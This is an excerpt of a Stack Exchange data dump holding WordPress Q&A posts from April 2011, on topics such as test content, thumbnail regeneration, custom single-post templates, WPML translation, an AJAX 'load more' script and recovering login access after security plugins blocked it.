  <row Id="13830" PostTypeId="1" AcceptedAnswerId="13832" CreationDate="2011-04-03T21:03:00.657" Score="1" ViewCount="58" Body="&lt;p&gt;I always find myself creating posts every time to test layout or design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I create stuff like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Content 1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Lorem ipsum dolor sit amet,&#xA;  consectetuer adipiscing elit, sed diam&#xA;  nonummy nibh euismod tincidunt ut&#xA;  laoreet dolore magna aliquam erat&#xA;  volutpat. Ut wisi enim ad minim&#xA;  veniam, quis nostrud exerci tation&#xA;  ullamcorper suscipit lobortis nisl ut&#xA;  aliquip ex ea commodo consequat.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;6 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fast way of copy pasting posts, duplicating them or auto-generating them, perhaps?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-03T21:12:11.180" Title="Is there any way of copy/pasting, duplicating, or auto-generating posts for fast testing?" Tags="&lt;posts&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="13831" PostTypeId="2" ParentId="13830" CreationDate="2011-04-03T21:10:35.797" Score="3" ViewCount="" Body="&lt;p&gt;Ehm, &lt;a href=&quot;http://codex.wordpress.org/Tools_Export_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Export/Import&lt;/a&gt; them with native functionality? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also official &lt;a href=&quot;http://codex.wordpress.org/Theme_Unit_Test&quot; rel=&quot;nofollow&quot;&gt;Theme Unit Test&lt;/a&gt; data with plenty of relevant stuff to go through when checking a theme.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-03T21:10:35.797" CommentCount="1" />
  <row Id="13832" PostTypeId="2" ParentId="13830" CreationDate="2011-04-03T21:12:11.180" Score="3" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/demo-data-creator/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Demo Data Creator&lt;/strong&gt;&lt;/a&gt; plugin with it you can create and set:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Number of users to create&lt;/li&gt;&#xA;&lt;li&gt;Number of blogs per user (for WPMU/MultiSite)&lt;/li&gt;&#xA;&lt;li&gt;Whether users must have a blog&lt;/li&gt;&#xA;&lt;li&gt;Number of categories in each blog&lt;/li&gt;&#xA;&lt;li&gt;Number of posts in each blog&lt;/li&gt;&#xA;&lt;li&gt;Number of paragraphs in each blog post&lt;/li&gt;&#xA;&lt;li&gt;Number of pages in each blog&lt;/li&gt;&#xA;&lt;li&gt;Number of top-level pages&lt;/li&gt;&#xA;&lt;li&gt;Number of levels to nest pages&lt;/li&gt;&#xA;&lt;li&gt;Number of comments per post for each blog&lt;/li&gt;&#xA;&lt;li&gt;Number of links in blogroll for each blog&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-03T21:12:11.180" CommentCount="1" />
  <row Id="13834" PostTypeId="1" AcceptedAnswerId="13835" CreationDate="2011-04-03T22:18:44.043" Score="1" ViewCount="291" Body="&lt;p&gt;I've got several custom image sizes for my blog. One of these is setup as &lt;code&gt;add_image_size( 'slide', 640, 290, true );&lt;/code&gt;. These are used in a header slideshow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is I've upped the dimensions of this size &lt;strong&gt;after&lt;/strong&gt; many of them were originally created, and many of the attached post images are too small to be cropped to these new values (i.e. not even 640px in the first place). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I call up images of this size, many of them are of the old dimensions (e.g. &lt;code&gt;s:5:&quot;slide&quot;;a:4:{s:4:&quot;file&quot;;s:52:&quot;6a00d8341c630a53ef011570180a91970b-800wi-300x290.jpg&quot;;s:5:&quot;width&quot;;s:3:&quot;300&quot;;s:6:&quot;height&quot;;s:3:&quot;290&quot;;}&lt;/code&gt;. I can't use images that are this small, but no correctly sized image are overwriting these, as per above. The desired behavior is that no image would be stored for &lt;code&gt;size&lt;/code&gt; slide instead of the old, small ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I delete these image entries in _wp_attachment_metadata? Do I do delete everything in the &lt;code&gt;sizes&lt;/code&gt; sub-array and regenerate everything?&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-04-03T22:29:29.597" Title="How to delete outdated, wrongly sized images in _wp_attachment_metadata?" Tags="&lt;database&gt;&lt;customization&gt;&lt;post-meta&gt;&lt;image-size&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="13835" PostTypeId="2" ParentId="13834" CreationDate="2011-04-03T22:29:29.597" Score="0" ViewCount="" Body="&lt;p&gt;Not from personal experience (I don't use WP image management much), but I believe &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; plugin is usually recommended for rebuilding thumbnails.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-03T22:29:29.597" CommentCount="5" />
  <row Id="13836" PostTypeId="2" ParentId="13754" CreationDate="2011-04-03T22:43:19.213" Score="1" ViewCount="" Body="&lt;p&gt;As it turns out, with the introduction of the &lt;code&gt;WP_List_Table&lt;/code&gt; class, view filter are now hookable and specifically you can filter out that detached link like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'views_upload', 'upload_views_filterable' );&#xA;function upload_views_filterable( $views ) {&#xA;    unset( $views['detached']);&#xA;    return $views;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bye bye detached link!... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-03T22:43:19.213" />
  <row Id="13837" PostTypeId="1" AcceptedAnswerId="13839" CreationDate="2011-04-03T22:43:41.730" Score="0" ViewCount="185" Body="&lt;p&gt;I've used &lt;a href=&quot;http://justintadlock.com/archives/2008/12/06/creating-single-post-templates-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock's great function for category specific custom post templates&lt;/a&gt; many times, where you can use &lt;strong&gt;single-cat-id.php&lt;/strong&gt; for single posts belonging to a specific category. I just ran into a problem though working on a new site that needs to use the &lt;strong&gt;single-{posttype}&lt;/strong&gt; template for a custom post type. The function seems to prevent the custom posts from using &lt;strong&gt;single-{posttype}&lt;/strong&gt; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's the applicable code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Define a constant path to our single template folder */&#xA;define(SINGLE_PATH, TEMPLATEPATH . '/single');&#xA;&#xA;/* Filter the single_template with our custom function*/&#xA;add_filter('single_template', 'my_single_template');&#xA;&#xA;/* Single template function which will choose our template*/&#xA;function my_single_template($single) {&#xA;    global $wp_query, $post;&#xA;&#xA;/* Checks for single template by category. Check by category slug and ID */&#xA;foreach((array)get_the_category() as $cat) :&#xA;&#xA;    if(file_exists(SINGLE_PATH . '/single-cat-' . $cat-&amp;gt;slug . '.php'))&#xA;        return SINGLE_PATH . '/single-cat-' . $cat-&amp;gt;slug . '.php';&#xA;&#xA;    elseif(file_exists(SINGLE_PATH . '/single-cat-' . $cat-&amp;gt;term_id . '.php'))&#xA;        return SINGLE_PATH . '/single-cat-' . $cat-&amp;gt;term_id . '.php';&#xA;&#xA;endforeach;&#xA;&#xA;/*Checks for default single post files within the single folder */&#xA;if(file_exists(SINGLE_PATH . '/single.php'))&#xA;    return SINGLE_PATH . '/single.php';&#xA;&#xA;elseif(file_exists(SINGLE_PATH . '/default.php'))&#xA;    return SINGLE_PATH . '/default.php';&#xA;&#xA;return $single; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to modify the following code to allow both the original function of &lt;strong&gt;single-cat-id&lt;/strong&gt; as well as &lt;strong&gt;single-{posttype}&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1340" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-03T23:02:55.177" LastActivityDate="2011-04-03T23:27:53.910" Title="Conflict in function to allow single post template based on category" Tags="&lt;custom-post-types&gt;&lt;functions&gt;&lt;template&gt;&lt;single&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13838" PostTypeId="1" AcceptedAnswerId="13877" CreationDate="2011-04-03T22:44:16.297" Score="1" ViewCount="130" Body="&lt;p&gt;I've written a plugin that allows users to add information in the database. It runs well but I can't translate the information using WPML.&#xA;This is a simple example of the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$message = 'test'; // here I get the information of the DB &lt;br /&gt;&#xA;__($message, 'my-plugin');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to workaround this problem? I don't know if we can use a variable instead of a string to translate. When I analize the widget in the Admin panel it don't show the string to translate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example works in WPML because is a string: __('test', 'my-plugin');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="4410" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-03T22:53:43.780" LastActivityDate="2011-04-04T10:46:25.573" Title="Translate database content using __($message) function" Tags="&lt;plugins&gt;&lt;plugin-wpml&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13839" PostTypeId="2" ParentId="13837" CreationDate="2011-04-03T23:27:53.910" Score="1" ViewCount="" Body="&lt;p&gt;You can check for your post type single-{post-type}.php first try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Define a constant path to our single template folder */&#xA;define(SINGLE_PATH, TEMPLATEPATH . '/single');&#xA;&#xA;/* Filter the single_template with our custom function*/&#xA;add_filter('single_template', 'my_single_template');&#xA;&#xA;/* Single template function which will choose our template*/&#xA;function my_single_template($single) {&#xA;    global $wp_query, $post;&#xA;&#xA;/* Checks for single template by post type */&#xA;if ($post-&amp;gt;post_type == &quot;POST TYPE NAME&quot;){&#xA;    if(file_exists(SINGLE_PATH . '/single-' . $post-&amp;gt;post_type . '.php'))&#xA;        return SINGLE_PATH . '/single-' . $post-&amp;gt;post_type . '.php';&#xA;}&#xA;&#xA;/* Checks for single template by category. Check by category slug and ID */&#xA;foreach((array)get_the_category() as $cat) :&#xA;&#xA;    if(file_exists(SINGLE_PATH . '/single-cat-' . $cat-&amp;gt;slug . '.php'))&#xA;        return SINGLE_PATH . '/single-cat-' . $cat-&amp;gt;slug . '.php';&#xA;&#xA;    elseif(file_exists(SINGLE_PATH . '/single-cat-' . $cat-&amp;gt;term_id . '.php'))&#xA;        return SINGLE_PATH . '/single-cat-' . $cat-&amp;gt;term_id . '.php';&#xA;&#xA;endforeach;&#xA;&#xA;/*Checks for default single post files within the single folder */&#xA;if(file_exists(SINGLE_PATH . '/single.php'))&#xA;    return SINGLE_PATH . '/single.php';&#xA;&#xA;elseif(file_exists(SINGLE_PATH . '/default.php'))&#xA;    return SINGLE_PATH . '/default.php';&#xA;&#xA;return $single; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just replace &quot;POST TYPE NAME&quot; with your custom post type name.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-03T23:27:53.910" CommentCount="1" />
  <row Id="13840" PostTypeId="2" ParentId="11182" CreationDate="2011-04-04T00:54:39.097" Score="1" ViewCount="" Body="&lt;h3&gt;WordPress with BuddyPress is a very viable option.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A very successful and large scale user driven &lt;a href=&quot;http://thepioneerwoman.com/tasty-kitchen/&quot; rel=&quot;nofollow&quot;&gt;Food / Recipe site&lt;/a&gt;.  Is running WordPress with BuddyPress&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Social networking capabilities -&#xA;  profiles, adding friends, member&#xA;  search, rewarding members. I want to&#xA;  build a strong community that goes&#xA;  beyond just creating profiles. I want&#xA;  them to be able to contribute to the&#xA;  site's growth.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;a href=&quot;http://thepioneerwoman.com/tasty-kitchen/&quot; rel=&quot;nofollow&quot;&gt;The Tasty Kitchen&lt;/a&gt; offers all of the above along with allowing users to submit and rate recipes.&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The &quot;Gotcha&quot;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;The BuddyPress project&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt; has been in a constant state of change and is finally just now starting to get stabilized and will be able to support more of the features you need &quot;out of the box&quot; when 1.3 gets released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the learning curve and technical aspects to make major modifications are very difficult but can be done.  You would most likely have to hire someone to help create the custom BuddyPress components required to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://buddypress.org/about/roadmap/&quot; rel=&quot;nofollow&quot;&gt;when 1.3 +&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;  gets released it will support more of the built in WordPress API.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-04T00:54:39.097" />
  <row Id="13841" PostTypeId="1" AcceptedAnswerId="13860" CreationDate="2011-04-04T01:01:09.190" Score="1" ViewCount="834" Body="&lt;p&gt;Hey guys, last days i have been trying to figure out how to do that. As read on &lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/create-a-twitter-like-load-more-widget/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/tutorials/javascript-ajax/create-a-twitter-like-load-more-widget/&lt;/a&gt; but inside wordpress. And i have finally come with a solution, may not be the best one but i hope you guys can improve my code and post it here just like i`m doing. Feel free to use it wherever you want. (my coding skills are really bad so &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to include jquery on your header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Insert this code on the page you wanna display the posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;session_start();&#xA;$number_of_posts = 3;&#xA;if (!$_SESSION['posts_start']) { $_SESSION['posts_start'] = 0; }&#xA;$_SESSION['posts_start'] = $_SESSION['posts_start'] ? $_SESSION['posts_start'] : $number_of_posts;&#xA;$total_posts = wp_count_posts('post');&#xA;$total_posts = $total_posts-&amp;gt;publish;&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function(){&#xA;        var initialPosts = &amp;lt;?php echo my_get_posts(0, 5); ?&amp;gt;;&#xA;        var postHandler = function(postsJSON) {     &#xA;            jQuery.each(postsJSON,function(i,post) {&#xA;                // Salva as variáveis de cada post&#xA;                var postURL = post.permalink;&#xA;                var postCOMMENTS = post.comments;&#xA;                var postTITLE = post.title;&#xA;                var postDATE = post.date;&#xA;                var postAUTHOR = post.author;&#xA;&#xA;                // Coloca as variáveis na lista                 &#xA;                jQuery(&quot;.lista-artigos&quot;)&#xA;                .append(&quot;&amp;lt;li&amp;gt;&amp;lt;span class=\&quot;comentarios-artigo\&quot;&amp;gt;&quot; + postCOMMENTS + &quot;&amp;lt;/span&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=\&quot;&quot; + postURL +&quot;\&quot;&amp;gt;&quot; + postTITLE + &quot;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;span class=\&quot;data-artigo\&quot;&amp;gt;Postado em &quot; + postDATE +  &quot; por &quot; + postAUTHOR + &quot;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&quot;)&#xA;            }); &#xA;        };&#xA;&#xA;        postHandler(initialPosts);&#xA;        var totalposts = &amp;lt;?php echo $total_posts; ?&amp;gt;;&#xA;        var start = &amp;lt;?php echo $_SESSION['posts_start']; ?&amp;gt;;&#xA;        var desiredPosts = &amp;lt;?php echo $number_of_posts; ?&amp;gt;;&#xA;        jQuery('#load-more').click(function(){&#xA;            jQuery('#load-more').removeClass('carregar').addClass('ativado').text('Loading...');&#xA;            jQuery.ajax({&#xA;                url: 'http://yoursite/wp-content/themes/yourtheme/mais-posts.php',&#xA;                data: {&#xA;                    'start': start,&#xA;                    'desiredPosts': desiredPosts&#xA;                },&#xA;                type: 'get',&#xA;                dataType: 'json',&#xA;                cache: false,&#xA;                success: function(responseJSON) {&#xA;                    jQuery('#load-more').text('Load More');&#xA;                    start += desiredPosts;&#xA;                    postHandler(responseJSON);&#xA;                },&#xA;                error: function() {&#xA;                    jQuery('#load-more').text('Ops! Try Again.');&#xA;                },&#xA;                complete: function() {&#xA;                    jQuery('#load-more').removeClass('ativado').addClass('carregar');&#xA;                    if (totalposts &amp;lt;= start) { jQuery('#load-more').hide(); }&#xA;                }&#xA;            });&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create a php file inside your themes folder (mine is called mais-posts.php) with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    require( '../../../wp-load.php' );&#xA;&#xA;    if(isset($_GET['start'])) {&#xA;        echo my_get_posts($_GET['start'], $_GET['desiredPosts']);&#xA;        $_SESSION['posts_start'] += $_GET['desiredPosts'];&#xA;        exit();&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope it may help anyone who is looking for something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you have any suggestion to this code please post below.&lt;/p&gt;&#xA;" OwnerUserId="4248" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-04T08:22:34.670" LastActivityDate="2011-07-22T11:51:52.480" Title="How to create a load more post entries like Twitter?" Tags="&lt;posts&gt;&lt;jquery&gt;&lt;ajax&gt;&lt;more&gt;&lt;code-review&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="13843" PostTypeId="2" ParentId="13822" CreationDate="2011-04-04T01:26:52.547" Score="1" ViewCount="" Body="&lt;p&gt;Have you heard of &lt;a href=&quot;http://wp-answers.com/&quot; rel=&quot;nofollow&quot;&gt;WP Answers&lt;/a&gt;? It is a plugin that appears to do exactly what you need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some themes out there that do what you're after; after a quick comparison, the &lt;a href=&quot;http://templatic.com/cms-themes/answers&quot; rel=&quot;nofollow&quot;&gt;Answers theme&lt;/a&gt; by Templatic appears to be one of the nicer ones.&lt;/p&gt;&#xA;" OwnerUserId="4296" LastActivityDate="2011-04-04T01:26:52.547" CommentCount="1" />
  <row Id="13844" PostTypeId="1" AcceptedAnswerId="13848" CreationDate="2011-04-04T02:21:35.597" Score="1" ViewCount="106" Body="&lt;p&gt;i have a self hosted wordpress install on a server in a virtbox at home.&lt;br&gt;&#xA;i was trying out plugins from the wordpress.org site, and after enabling some securtiy plugins, i found i couldnt access the wp-login.php page anymore.&lt;br&gt;&#xA;i get a function of one of the plugins telling me the site is forbidden and doesnt exist.&lt;br&gt;&#xA;the problem is, i am not exactly sure which plugin did this.&lt;br&gt;&#xA;i dont have a login link on the front end of the page also.&lt;br&gt;&#xA;the plugins i have installed are bulletproof security, lockdown wp-admin, ultimate security checker, and wp security scan.&lt;br&gt;&#xA;the install is on an ubuntu server with no GUI, host is mac osx, but i can access it from the network.&lt;br&gt;&#xA;if i just delete the plugins from the wordpress directory, will that work?&lt;/p&gt;&#xA;" OwnerUserId="4412" LastActivityDate="2011-04-04T03:43:12.390" Title="How do i login when i cant access wp-login.php?" Tags="&lt;plugins&gt;&lt;login&gt;" AnswerCount="1" />
  <row Id="13845" PostTypeId="1" AcceptedAnswerId="13846" CreationDate="2011-04-04T02:30:58.367" Score="1" ViewCount="351" Body="&lt;p&gt;i'm trying to get the author name using the &quot;&lt;code&gt;the_author_meta&lt;/code&gt;&quot; function. After doing that I need to pass the value inside an array and return that with &quot;json_encode&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$autor_id = $post-&amp;gt;post_author;&#xA;$autor_name = the_author_meta('user_nicename', $autor_id);&#xA;echo $autor_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$autor_name&lt;/code&gt; &lt;code&gt;echo&lt;/code&gt; works fine but when i do the following code it returns null on my script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results['author'] = $autor_name;&#xA;$posts[] = $results;&#xA;}&#xA;&#xA;return json_encode($posts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it returns that: &lt;code&gt;&quot;author&quot;:null&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i make it display the author name like: &lt;code&gt;&quot;author&quot;:admin&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="4248" LastEditorUserId="3918" LastEditorDisplayName="" LastEditDate="2011-04-04T07:14:55.643" LastActivityDate="2011-04-04T07:14:55.643" Title="How to get post author name by its ID inside a function?" Tags="&lt;author&gt;" AnswerCount="1" />
  <row Id="13846" PostTypeId="2" ParentId="13845" CreationDate="2011-04-04T02:51:56.980" Score="4" ViewCount="" Body="&lt;p&gt;The echoing is already done by the_author_meta().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo $autor_name&lt;/code&gt; does nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct would be to use get_the_author_meta().&lt;/p&gt;&#xA;" OwnerUserId="4413" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-04T03:21:12.573" LastActivityDate="2011-04-04T03:21:12.573" CommentCount="2" />
  <row Id="13847" PostTypeId="1" AcceptedAnswerId="13852" CreationDate="2011-04-04T03:28:38.980" Score="0" ViewCount="58" Body="&lt;p&gt;Does anyone know how much do the localization functions from WordPress affect the speed of a website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think it's worth replacing all strings with gettext inside a theme, even if it will only be used on a single, english website?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-04T11:09:10.863" Title="Should we localize custom-made themes / plugins?" Tags="&lt;theme-development&gt;&lt;customization&gt;&lt;translation&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="13848" PostTypeId="2" ParentId="13844" CreationDate="2011-04-04T03:43:12.390" Score="2" ViewCount="" Body="&lt;p&gt;Assuming you have shell access to the server (which is sounds like you do), rename the &lt;code&gt;wp-content/plugins&lt;/code&gt; directory to something else (I often just stick an &lt;code&gt;x&lt;/code&gt; in front) and see if you can get into your site. Then create a new plugins directory and move the plugins one at a time from &lt;code&gt;xplugins/&lt;/code&gt; to &lt;code&gt;plugins/&lt;/code&gt;. You'll soon know who the culprit is.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-04-04T03:43:12.390" CommentCount="1" />
  <row Id="13849" PostTypeId="2" ParentId="13816" CreationDate="2011-04-04T03:49:59.063" Score="1" ViewCount="" Body="&lt;p&gt;You don't say if the upload is in admin or on the user side. User side is probably via a plugin, so I have no idea what you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin side has a number of hooks related to uploads. Some of them are listed below. Many WP hooks have little or no documentation, so you may have to Read the Source®. HTH&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./wp-app.php:           do_action('wp_create_file_in_uploads', $file); // replicate&#xA;./wp-admin/includes/media.php:do_action('admin_enqueue_scripts', 'media-upload-popup');&#xA;./wp-admin/includes/media.php:do_action('admin_print_styles-media-upload-popup');&#xA;./wp-admin/includes/media.php:do_action('admin_print_scripts-media-upload-popup');&#xA;./wp-admin/includes/media.php:do_action('admin_head-media-upload-popup');&#xA;./wp-admin/includes/media.php:do_action('pre-upload-ui');&#xA;./wp-admin/includes/media.php:&amp;lt;?php do_action('pre-flash-upload-ui'); ?&amp;gt;&#xA;./wp-admin/includes/media.php:&amp;lt;?php do_action('post-flash-upload-ui'); ?&amp;gt;&#xA;./wp-admin/includes/media.php:&amp;lt;?php do_action('pre-html-upload-ui'); ?&amp;gt;&#xA;./wp-admin/includes/media.php:&amp;lt;?php do_action('post-html-upload-ui', $flash); ?&amp;gt;&#xA;./wp-admin/includes/media.php:&amp;lt;?php do_action('post-upload-ui'); ?&amp;gt;&#xA;./wp-admin/custom-background.php:               do_action('wp_create_file_in_uploads', $file, $id); // For replication&#xA;./wp-admin/upload.php:&amp;lt;?php do_action('restrict_manage_posts'); ?&amp;gt;&#xA;./wp-admin/custom-header.php:                   do_action('wp_create_file_in_uploads', $file, $id); // For replication&#xA;./wp-admin/media-upload.php:            do_action(&quot;media_upload_$type&quot;);&#xA;./wp-admin/media-upload.php:            do_action(&quot;media_upload_$tab&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-04-04T03:49:59.063" CommentCount="3" />
  <row Id="13850" PostTypeId="1" CreationDate="2011-04-04T03:52:39.337" Score="0" ViewCount="69" Body="&lt;p&gt;I am designing a blog for a software vendor.&#xA;They have a number of downloads available, both their own, and also from their clients.&#xA;Downloads are usually tools that can be bolted onto the main software products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They want to have a slick interface to be able to search and download these items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for Wordpress plugins that might fit the description?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we are after, could be something like &lt;a href=&quot;http://help.arcgis.com/en/webapi/silverlight/gallery.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, or like &lt;a href=&quot;http://themehybrid.com/showcase/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. A thumbnail, name of tool, and maybe a user rating (not essential).  Hovering over the tool would provide more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flexible on how it looks and feels, even something similar t&lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;o Wordpress Plugins directory&lt;/a&gt; might work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clear plugin winners out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:EDIT:&#xA;Sounds like I should be looking at Custom Post Types.&#xA;From what I have read so far, looks good, but still looks like I will need to write a fair bit of code to get what I want.&lt;br&gt;&#xA;- Would love to be proved wrong --&gt; perhaps there is a custom post template for what I am after?&lt;br&gt;&#xA;&lt;em&gt;(I will research further)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="4280" LastEditorDisplayName="" LastEditDate="2011-04-06T06:12:37.507" LastActivityDate="2011-04-07T22:38:21.423" Title="Downloads Gallery plugin?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="13851" PostTypeId="1" CreationDate="2011-04-04T05:25:56.990" Score="0" ViewCount="262" Body="&lt;p&gt;I have a custom taxonomy 'portfolio category', while i need to show all hierarchy categories of a portfolio post, for example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the post is under &lt;code&gt;topcat -&amp;gt; childcat -&amp;gt; yetchildcat&lt;/code&gt;, i want to show 'topcat, childcat, yetchildcat' on the post page, but &lt;code&gt;get_the_terms only&lt;/code&gt; return '&lt;code&gt;yetchildcat&lt;/code&gt;', how do i get all?&lt;/p&gt;&#xA;" OwnerUserId="2426" LastEditorUserId="3918" LastEditorDisplayName="" LastEditDate="2011-04-04T07:15:00.463" LastActivityDate="2011-07-03T12:03:59.137" Title="How to get parents of custom taxonomy, as what get_category_parents() do?" Tags="&lt;custom-taxonomy&gt;&lt;hierarchical&gt;" AnswerCount="2" />
  <row Id="13852" PostTypeId="2" ParentId="13847" CreationDate="2011-04-04T05:51:45.963" Score="3" ViewCount="" Body="&lt;p&gt;If you know that you or the client will NEVER need to be translated there is no need to replace all the strings within your theme with gettext.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the performance issue I found a benchmark &lt;strong&gt;&lt;a href=&quot;http://mel.melaxis.com/devblog/2006/04/10/benchmarking-php-localization-is-gettext-fast-enough/&quot; rel=&quot;nofollow&quot;&gt;comparing the 3 gettex methods.&lt;/a&gt;&lt;/strong&gt; It also compared using the default local vs a different local and the differences were negligible which leads me to the conclusion that that you do take a performance hit when replacing all your strings with gettext. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Benchmarks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/7cuZ2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-04T05:51:45.963" CommentCount="1" />
